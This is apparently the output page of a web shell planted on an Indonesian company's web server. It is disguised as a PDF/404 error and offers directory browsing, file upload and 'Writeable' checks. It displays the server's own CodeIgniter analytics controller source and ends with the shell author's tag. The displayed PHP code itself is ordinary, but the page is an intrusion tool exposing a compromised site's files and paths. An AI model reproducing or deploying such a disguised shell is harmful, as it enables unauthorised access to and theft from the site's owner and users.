%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/Grafik.php
<?php
namespace App\Controllers;

use App\Models\History_model;
use App\Models\Artikel_Model;
use App\Models\Produk_Model;
use App\Models\Video_Model;
use App\Models\Artikel_category_Model;
use App\Models\User_Model;
use App\Models\list_artikel_Model;
use App\Models\Dataclient_Model;
use App\Models\Wa_Model;

class Grafik extends BaseController
{
    protected $History;
    protected $session;
    protected $Artikel_Model;
    protected $Produk_Model;
    protected $Video_Model;
    protected $Artikel_category_Model;
    protected $User_Model;
    protected $Dataclient_Model;
    protected $Wa_Model;

    public function __construct()
    {
        $this->History = new History_model();
        $this->session = session();
        $this->Artikel_Model = new Artikel_Model();
        $this->Produk_Model = new Produk_Model();
        $this->Video_Model = new Video_Model();
        $this->Artikel_category_Model = new Artikel_category_Model();
        $this->User_Model = new User_Model();
        $this->Dataclient_Model = new Dataclient_Model();
        $this->Wa_Model = new Wa_Model();
    }

    public function index()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        // $this->History->save([
        //     'user_id' 	=> $user_id,
        //     'username' 	=> $username,
        //     'name' 		=> $firstname.' '.$lastname,
        //     'kegiatan' 	=> 'Dashboard',
        //     'jenis_kegiatan' 	=> 'Login/Dashboard',
        //     'tanggal_waktu' 	=> date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();
        $thn = date('Y');
        $bln = date('m');
        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '33',
            'parent_id_submenu' => '',
            'id_menu' => '29',
            'page1' => 'Grafik',
            'page2' => '',
            'link01' => base_url(),
            'link02' => '/grafik',
            // 'new_artikel' => $this->Artikel_Model->get_artikel(false, false, 4)->get()->getResult(),
            'unik_user' => $this->Dataclient_Model->get_user_bln($thn, $bln),
            'data_browser' => $this->Dataclient_Model->get_data_browser($thn, $bln)->getResult(),
            'dt_unik_user' => $this->Dataclient_Model->get_datauser_bln($thn, $bln),

            'data_online' => $this->Dataclient_Model->get_data_online($thn, $bln)->getResult(),
            'jml_artikel' => $this->Artikel_Model->get_data_perbulan($thn, $bln)->getResult(),
            'jml_view' => $this->Artikel_Model->get_view_perbulan($thn, $bln)->getResult(),
            'jml_view_produk' => $this->Produk_Model->get_view_perbulan($thn, $bln)->getResult(),
            'jml_view_video' => $this->Video_Model->get_view_perbulan($thn, $bln)->getResult(),
            'jml_wa' => $this->Wa_Model->get_user_wa_pertahun_bulan()->getResult(),

            'data_online_thn' => $this->Dataclient_Model->get_data_online_thn($thn, $bln)->getResult(),
            'jml_artikel_thn' => $this->Artikel_Model->get_data_pertahun($thn)->getResult(),
            'jml_view_thn' => $this->Artikel_Model->get_view_pertahun($thn)->getResult(),
            'jml_view_produk_thn' => $this->Produk_Model->get_view_pertahun($thn)->getResult(),
            'jml_view_video_thn' => $this->Video_Model->get_view_pertahun($thn)->getResult(),
            'jml_wa_thn' => $this->Wa_Model->get_user_wa_pertahun_jml()->getResult(),

            // 'data_member'	=> $this->data_dashboard->getjmlMember(),
            // 'data_customer' 	=> $this->data_dashboard->getjmlCustomer(),
            // 'data_order'    	=> $this->data_dashboard->getjmlOrder(),
            // 'data_jual'     	=> $this->data_dashboard->getjmlJual(),
            // 'popular_product'   => $this->data_dashboard->popular_product(),
            // 'invoice_terbaru'   => $this->data_dashboard->invoice_terbaru(),
            'componen' => 'theme/BeyondAdmin/halaman/manajemen/grafik/daftar'
        );
        echo view('layout', $data);
    }

}
?>

WonXd677 Sh3LL